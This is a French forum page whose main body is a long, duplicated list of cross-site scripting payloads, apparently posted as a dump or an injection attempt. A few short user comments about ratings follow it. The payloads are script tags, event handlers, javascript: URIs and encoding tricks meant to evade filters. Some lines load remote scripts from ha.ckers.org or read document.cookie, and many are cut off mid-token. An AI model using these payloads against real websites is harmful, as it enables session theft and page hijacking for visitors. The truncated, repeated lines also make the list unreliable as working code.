<img src=`%00`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&
<script /*%00*/>/*%00*/alert(1)/*%00*/ /*%00*/
&#34;&#62;<h1/onmouseover='
<iframe/src="data:text/html,< &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.
<svg><script x:href='https://dl.dropbox.co {Opera}
<meta http-equiv="refresh" content="0;url=javascript:con
<iframe src=javascript&colon;alert&lpa
<form><a href="javascript:u0061lert&
</script><img/*%00/src="works
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)
<a href="data:application/x-x509
http://www.google<script .com>alert(document.location)<
<a&#32;href&#61;&#91;&#00;&#93 onmouseover=prompt&#40;1&#41;&
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#8
<script ^__^>alert(String.fromCharCode ^__^
</style &#32;><script &#32; :-(>/**/alert(document.locatio &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='u0061u006Cu006
<script /***/>/***/confirm('uFF41 /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;
<a href="javascript:void(0)" onmouseover=&NewLine;javascrip
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;
<///style///><span %2F onmousemove='alert&lpar;1&rpa
<img/src='http://i.imgur.com/ onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1 {Firefox & Opera}
<marquee onstart='javascript:alert&#x2
<div/style="width:expression( {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A
/*iframe/src*/<iframe/src="<i /*iframe/src*/>
//|\ <script //|\ src='https://dl.dropbox.com/u //|\ </script //|\
</font>/<svg><style>{src&#x3A;
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext></|><plaintext
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLa {Opera}
<a href="javascript&colon;u006
<div onmouseover='alert&lpar;1&rpa
<iframe style="position:absolute;top: onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&
<embed src="http://corkami.googlecod
<object data="http://corkami.googleco
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lp Here</a>
<img src="/" =_=" title="onerror='prompt(1)'
<%<!--'%><script>alert(1);</s -->
<script src="data:text/javascript,ale
<iframe/src //onload = prompt(1)
<iframe/onreadystatechange=ale
<svg/onload=alert(1)
<input value=<><iframe/src=javascript
<input type="text" value=`` <div/onmouseover='alert(1)'>
http://www.<script>alert(1)</s .com
<iframe src=j&NewLine;&Tab;a&NewLine;&
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE "></object>
<meta http-equiv="refresh" content="0;javascript&colon;a
<math><a xlink:href="//jsfiddle.net/t8
<embed code="http://businessinfo.co. allowscriptaccess=always>
<svg contentScriptType=text/vbs><sc
<a href="data:text/html;base64_,
<iframe/onreadystatechange=u worksinIE>
<script>~'u0061' ; u0074u0068u0072u006F ~ u0074u0068u0069u0073. u0061u006Cu0065u0072 U+
<script/src="data&colon;text% a=u0061 & /=%2F
<script/src=data&colon;text/j
<object data=javascript&colon;u0061&
<script>+-+-1-+-+alert(1)</scr
<body/onload=&lt;!--&gt;&#10al
<script itworksinallbrowsers>/*<script */alert(1)</script
<img src ?itworksonchrome?/onerror = alert(1)
<svg><script>//&NewLine;confir </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#9
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97
<div style="position:absolute;top: onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror=window.open('https://
<form><button formaction=javascript&colon;al
<math><a xlink:href="//jsfiddle.net/t8
<object data=data:text/html;base64,PHN
<iframe src="data:text/html,%3C%73%63
<a href="data:text/html;blabla,& Me</a>
‘; alert(1);
‘)alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert(‘XSS’)>
<IMG SRC=”javascript:alert(‘XSS’);”
<IMG SRC=javascript:alert(&quot;XSS
<IMG SRC=javascript:alert(‘XSS’)>
<img src=xss onerror=alert(1)>
<iframe %00 src="&Tab;javascript:prompt(1
<svg><style>{font-family&colon
<input/onmouseover="javaSCRIP
<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
<img/src=`%00` onerror=this.onerror=confirm(1
<form><isindex formaction="javascript&colon;
<img src=`%00`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&
<script /*%00*/>/*%00*/alert(1)/*%00*/ /*%00*/
&#34;&#62;<h1/onmouseover='
<iframe/src="data:text/html,< &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.
<svg><script x:href='https://dl.dropbox.co {Opera}
<meta http-equiv="refresh" content="0;url=javascript:con
<iframe src=javascript&colon;alert&lpa
<form><a href="javascript:u0061lert&
</script><img/*%00/src="works
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)
<a href="data:application/x-x509
http://www.google<script .com>alert(document.location)<
<a&#32;href&#61;&#91;&#00;&#93 onmouseover=prompt&#40;1&#41;&
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#8
<script ^__^>alert(String.fromCharCode ^__^
</style &#32;><script &#32; :-(>/**/alert(document.locatio &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='u0061u006Cu006
<script /***/>/***/confirm('uFF41 /***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;
<a href="javascript:void(0)" onmouseover=&NewLine;javascrip
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;
<///style///><span %2F onmousemove='alert&lpar;1&rpa
<img/src='http://i.imgur.com/ onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1 {Firefox & Opera}
<marquee onstart='javascript:alert&#x2
<div/style="width:expression( {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A
/*iframe/src*/<iframe/src="<i /*iframe/src*/>
//|\ <script //|\ src='https://dl.dropbox.com/u //|\ </script //|\
</font>/<svg><style>{src&#x3A;
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext></|><plaintext
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLa {Opera}
<a href="javascript&colon;u006
<div onmouseover='alert&lpar;1&rpa
<iframe style="xg-p:absolute;top:0;le onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&
<embed src="http://corkami.googlecod
<object data="http://corkami.googleco
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lp Here</a>
<img src="/" =_=" title="onerror='prompt(1)'
<%<!--'%><script>alert(1);</s -->
<script src="data:text/javascript,ale
<iframe/src //onload = prompt(1)
<iframe/onreadystatechange=ale
<svg/onload=alert(1)
<input value=<><iframe/src=javascript
<input type="text" value=`` <div/onmouseover='alert(1)'>
http://www.<script>alert(1)</s .com
<iframe src=j&NewLine;&Tab;a&NewLine;&
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&
<img src=`xx:xx`onerror=alert(1)>
<meta http-equiv="refresh" content="0;javascript&colon;a
<math><a xlink:href="//jsfiddle.net/t8
<embed code="http://businessinfo.co. allowscriptaccess=always>
<svg contentScriptType=text/vbs><sc
<a href="data:text/html;base64_,
<iframe/onreadystatechange=u worksinIE>
<script>~'u0061' ; u0074u0068u0072u006F ~ u0074u0068u0069u0073. u0061u006Cu0065u0072 U+
<script/src="data&colon;text% a=u0061 & /=%2F
<script/src=data&colon;text/j
<object data=javascript&colon;u0061&
<script>+-+-1-+-+alert(1)</scr
<body/onload=&lt;!--&gt;&#10al
<script itworksinallbrowsers>/*<script */alert(1)</script
<img src ?itworksonchrome?/onerror = alert(1)
<svg><script>//&NewLine;confir </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#9
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97
<div style="xg-p:absolute;top:0;le onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror=window.open('https://
<form><button formaction=javascript&colon;al
<math><a xlink:href="//jsfiddle.net/t8
<object data=data:text/html;base64,PHN
<iframe src="data:text/html,%3C%73%63
<a href="data:text/html;blabla,& Me</a>
<SCRIPT>String.fromCharCode(97 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
‘;alert(String.fromCharCode(88
<IMG “””><SCRIPT>alert(“XSS”)</SCRI
<IMG SRC=javascript:alert(String.fr
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x09;ascript:alert(‘X
<<SCRIPT>alert(“XSS”);//<</SCR
%253cscript%253ealert(1)%253c/
“><s”%2b”cript>alert(document.
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr<
<IMG SRC=&#106;&#97;&#118;&#97;&#11
<IMG SRC=&#0000106&#0000097&#000011
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&
<BODY BACKGROUND=”javascript:alert(‘
<BODY ONLOAD=alert(‘XSS’)>
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://ha.ckers.org/script <
javascript:alert("hellox worldss")
<img src="javascript:alert('XSS'
<img src=javascript:alert(&quot;XSS
<"';alert(String.fromCharCod
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html
<IFRAME SRC="javascript:alert('XSS'
<EMBED SRC="data:image/svg+xml;base6 A6Ly93d3cudzMub3JnLzIwMDAvc3Zn MjAwMC9zdmciIHhtbG5zOnhsaW5rPS aW5rIiB2ZXJzaW9uPSIxLjAiIHg9Ij IiBpZD0ieHNzIj48c2NyaXB0IHR5cG TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== type="image/svg+xml" AllowScriptAccess="always"><
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.
<SCRIPT>document.write("<SCRI SRC="http://ha.ckers.org/xss.
<<SCRIPT>alert("XSS");//<</S
<"';alert(String.fromCharCod
';alert(String.fromCharCode(8
<script>alert("hellox worldss")</script>&safe=high&
<script>alert("XSS");</scrip
0&q=';alert(String.fromCharCo
<h1><font color=blue>hellox worldss</h1>
<BODY ONLOAD=alert('hellox worldss')>
<input onfocus=write(XSS) autofocus>
<input onblur=write(XSS) autofocus><input autofocus>
<body onscroll=alert(XSS)><br><br><b autofocus>
<form><button formaction="javascript:alert(
<!--<img src="--><img src=x onerror=alert(XSS)//">
<![><img src="]><img src=x onerror=alert(XSS)//">
<style><img src="</style><img src=x onerror=alert(XSS)//">
<? foo="><script>alert(1)</scrip
<! foo="><script>alert(1)</scrip
</ foo="><script>alert(1)</scrip
<? foo="><x foo='?><script>alert(1)</scri
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</s
<% foo><x foo="%><script>alert(123)</sc
<div style="font-family:'foo&#10;
LOL<style>*{/*all*/color/*all*
<script>({0:#0=alert/#0#/#0#(0
<svg xmlns="http://www.w3.org/2000
&lt;SCRIPT&gt;alert(/XSS/&#46;
\";alert('XSS');//
&lt;/TITLE&gt;&lt;SCRIPT&gt;al
&lt;INPUT TYPE="IMAGE" SRC="javascript&#058;alert(
&lt;BODY BACKGROUND="javascript&#058
&lt;BODY ONLOAD=alert('XSS')&gt;
&lt;IMG DYNSRC="javascript&#058;ale
&lt;IMG LOWSRC="javascript&#058;ale
&lt;BGSOUND SRC="javascript&#058;alert(
&lt;BR SIZE="&{alert('XSS')}"
&lt;LAYER SRC="http&#58;//ha&#46;cker
&lt;LINK REL="stylesheet" HREF="javascript&#058;alert
&lt;LINK REL="stylesheet" HREF="http&#58;//ha&#46;cke
&lt;STYLE&gt;@import'http&#58
&lt;META HTTP-EQUIV="Link" Content="&lt;http&#58;//ha& REL=stylesheet"&gt;
&lt;STYLE&gt;BODY{-moz-binding
&lt;XSS STYLE="behavior&#58; url(xss&#46;htc);"&gt;
&lt;STYLE&gt;li {list-style-image&#58; url("javascript&#058;alert(
&lt;IMG SRC='vbscript&#058;msgbox(
&lt;IMG SRC="mocha&#58;&#91;code&#9
&lt;IMG SRC="livescript&#058;&#91;c
žscriptualert(EXSSE)ž/scriptu
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript&#
&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data&#58;tex
&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http&#58;//;URL=javascript
&lt;IFRAME SRC="javascript&#058;alert(
&lt;FRAMESET&gt;&lt;FRAME SRC="javascript&#058;alert(
&lt;TABLE BACKGROUND="javascript&#058
&lt;TABLE&gt;&lt;TD BACKGROUND="javascript&#058
&lt;DIV STYLE="background-image&#58 url(javascript&#058;alert('XS
&lt;DIV STYLE="background-image&#58
&lt;DIV STYLE="background-image&#58 url(javascript&#058;alert('XS
&lt;DIV STYLE="width&#58; expression(alert('XSS'));
&lt;STYLE&gt;@import'ja
&lt;IMG STYLE="xss&#58;expr/*XSS*/e
&lt;XSS STYLE="xss&#58;expression(a
exp/*&lt;A STYLE='noxss&#58;noxss("
xss&#58;ex&#x2F;*XSS*//*/*/pre
&lt;STYLE TYPE="text/javascript"&g
&lt;STYLE&gt;&#46;XSS{backgrou CLASS=XSS&gt;&lt;/A&gt;
&lt;STYLE type="text/css"&gt;BODY{
&lt;!--&#91;if gte IE 4&#93;&gt;
&lt;SCRIPT&gt;alert('XSS');&
&lt;!&#91;endif&#93;--&gt;
&lt;BASE HREF="javascript&#058;alert
&lt;OBJECT TYPE="text/x-scriptlet" DATA="http&#58;//ha&#46;cke
&lt;OBJECT classid=clsid&#58;ae24fdae-03c name=url value=javascript&#058;alert('
&lt;EMBED SRC="http&#58;//ha&#46;cker AllowScriptAccess="always
&lt;EMBED SRC="data&#58;image/svg+xml A6Ly93d3cudzMub3JnLzIwMDAvc3Zn MjAwMC9zdmciIHhtbG5zOnhsaW5rPS aW5rIiB2ZXJzaW9uPSIxLjAiIHg9Ij IiBpZD0ieHNzIj48c2NyaXB0IHR5cG TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== type="image/svg+xml" AllowScriptAccess="always
a="get";
b="URL(\"";
c="javascript&#058;";
d="alert('XSS');\")
eval(a+b+c+d);
&lt;HTML xmlns&#58;xss&gt;&lt;?import namespace="xss" implementation="http&#58;//
&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt; SRC="javas&#93;&#93;&gt;&lt
&lt;/C&gt;&lt;/X&gt;&lt;/xml&g DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN
&lt;XML ID="xss"&gt;&lt;I&gt;&lt SRC="javas&lt;!-- --&gt;cript&#58;alert('XSS')
&lt;SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&gt;&
&lt;XML SRC="xsstest&#46;xml" ID=I&gt;&lt;/XML&gt;
&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN
&lt;HTML&gt;&lt;BODY&gt;
&lt;?xml&#58;namespace prefix="t" ns="urn&#58;schemas-microso
&lt;?import namespace="t" implementation="#default#ti
&lt;t&#58;set attributeName="innerHTML to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;
&lt;/BODY&gt;&lt;/HTML&gt;
&lt;SCRIPT SRC="http&#58;//ha&#46;cker
&lt;!--#exec cmd="/bin/echo '&lt;SCR'"--&gt;&lt;!--#e cmd="/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#4
&lt;? echo('&lt;SCR)';
echo('IPT&gt;alert("XSS ?&gt;
&lt;IMG SRC="http&#58;//www&#46;the
Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/
&lt;META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&
&lt;HEAD&gt;&lt;META HTTP-EQUIV="CONTENT-TYPE CONTENT="text/html; charset=UTF-7"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-a
&lt;SCRIPT a="&gt;" SRC="http&#58;//ha&#46;cker
&lt;SCRIPT ="&gt;" SRC="http&#58;//ha&#46;cker
&lt;SCRIPT a="&gt;" '' SRC="http&#58;//ha&#46;cker
&lt;SCRIPT "a='&gt;'" SRC="http&#58;//ha&#46;cker
&lt;SCRIPT a=`&gt;` SRC="http&#58;//ha&#46;cker
&lt;SCRIPT a="&gt;'&gt;" SRC="http&#58;//ha&#46;cker
&lt;SCRIPT&gt;document&#46;wri SRC="http&#58;//ha&#46;cker
&lt;A HREF="http&#58;//66&#46;102
&lt;A HREF="http&#58;//%77%77%77%
&lt;A HREF="http&#58;//1113982867
&lt;A HREF="http&#58;//0x42&#46;0
&lt;A HREF="http&#58;//0102&#46;0
&lt;A HREF="htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/
&lt;A HREF="//www&#46;google&#46;
&lt;A HREF="//google"&gt;XSS&l
&lt;A HREF="http&#58;//ha&#46;cke
&lt;A HREF="http&#58;//google&#58
&lt;A HREF="http&#58;//google&#46
&lt;A HREF="http&#58;//www&#46;go
&lt;A HREF="javascript&#058;docum
&lt;A HREF="http&#58;//www&#46;go
&lt;
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&lt;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
x3c
x3C
u003c
u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#4
&lt;IMG SRC="javascript&#058;alert(
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#4
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#4
&lt;&lt;SCRIPT&gt;alert("XS
&lt;SCRIPT/SRC="http&#58;//
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;
&lt;SCRIPT/XSS SRC="http&#58;//ha&#46;cker
&lt;IMG SRC=" javascript&#058;alert('XSS')
perl -e 'print "&lt;SCRIPT&gt;alert( &gt; out
perl -e 'print "&lt;IMG SRC=javascript&#058;alert( &gt; out
&lt;IMG SRC="jav&#x0D;ascript&#058;
&lt;IMG SRC="jav&#x0A;ascript&#058;
&lt;IMG SRC="jav&#x09;ascript&#058;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&
&lt;IMG SRC=&#0000106&#0000097&#000011
&lt;IMG SRC=javascript&#058;alert('XS
&lt;IMG SRC=javascript&#058;alert(Stri
&lt;IMG """&gt;&lt;SCRIPT&gt;
&lt;IMG SRC=`javascript&#058;alert( says, 'XSS'")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quo
&lt;IMG SRC=JaVaScRiPt&#058;alert('XS
&lt;IMG SRC=javascript&#058;alert('XS
&lt;IMG SRC="javascript&#058;alert(
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#4
'';!--"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCo
';alert(String.fromCharCode(8
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js
<IMG SRC="javascript:alert('XSS'
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('X
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")<
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.
<SCRIPT/SRC="http://ha.ckers.
<<SCRIPT>alert("XSS");//<</S
<SCRIPT>a=/XSS/alert(a.source)
";alert('XSS');//
</TITLE><SCRIPT>alert("XSS")
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:ale
<IFRAME SRC="javascript:alert('XSS'
<FRAMESET><FRAME SRC="javascript:alert('XSS'
<TABLE BACKGROUND="javascript:alert(
<TABLE><TD BACKGROUND="javascript:alert(
<DIV STYLE="background-image: url(javascript:alert('XSS'))
<DIV STYLE="background-image:07
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@import'javasc
<IMG STYLE="xss:expr/*XSS*/ession(
<XSS STYLE="xss:expression(alert(
exp/*<A STYLE='noxss:noxss("*//*"
<EMBED SRC="http://ha.ckers.org/xss. AllowScriptAccess="always"><
a="get";b="URL(ja"";c=
<SCRIPT SRC="http://ha.ckers.org/xss.
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com namespace="t" implementation="#default#time attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;
<SCRIPT>document.write("<SCRI SRC="http://ha.ckers.org/xss.
<form id="test" /><button form="test" formaction="javascript:alert(
<form><button formaction="javascript:alert(
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,P
<embed src="data:text/html;base64,PH
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</scrip
<! foo="><script>alert(1)</scrip
</ foo="><script>alert(1)</scrip
<script>({0:#0=alert/#0#/#0#(1
<script>ReferenceError.prototy function(){alert(123)}),x</scr
<script>Object.__noSuchMethod_ = Function,[{}][0].constructor._
<script src="#">{alert(1)}</script>;
<script>crypto.generateCRMFReq
<svg xmlns="#"><script>alert(1)</
<svg onload="javascript:alert(123) xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></
+ADw-script+AD4-alert(document
%2BADw-script+AD4-alert(docume
+ACIAPgA8-script+AD4-alert(doc
%2BACIAPgA8-script%2BAD4-alert
%253cscript%253ealert(document
“><s”%2b”cript>alert(document.
“><ScRiPt>alert(document.cooki
“><<script>alert(document.cook
foo<script>alert(document.cook
<scr<script>ipt>alert(document
%22/%3E%3CBODY%20onload=’docum
‘; alert(document.cookie); var foo=’
foo’; alert(document.cookie);//’;
<
Sir Floodon - Etudiant - Profil - 28/04/2021 à 07:53 Online

jss gardien1900 > J'ai mis 10 pour annuler le ratio.

Argumentation,
Argumentation,
Argumentation,
Argumentation,
Argumentation,
Argumentation,
Argumentation,
Argumentation,
jss - Bon Chuunin - Profil - 15/03/2021 à 03:37 Online
[Naka]

gardien1900 C'est qui le batard qui a mit 1 ??????? Change change
Ou la Batarde pardon, pas de sexisme
gardien1900 - Nidaime Jounin - Profil - 26/02/2021 à 13:47 Online
#JESUISMOI

Pages: [ 1 ] Page Suivante >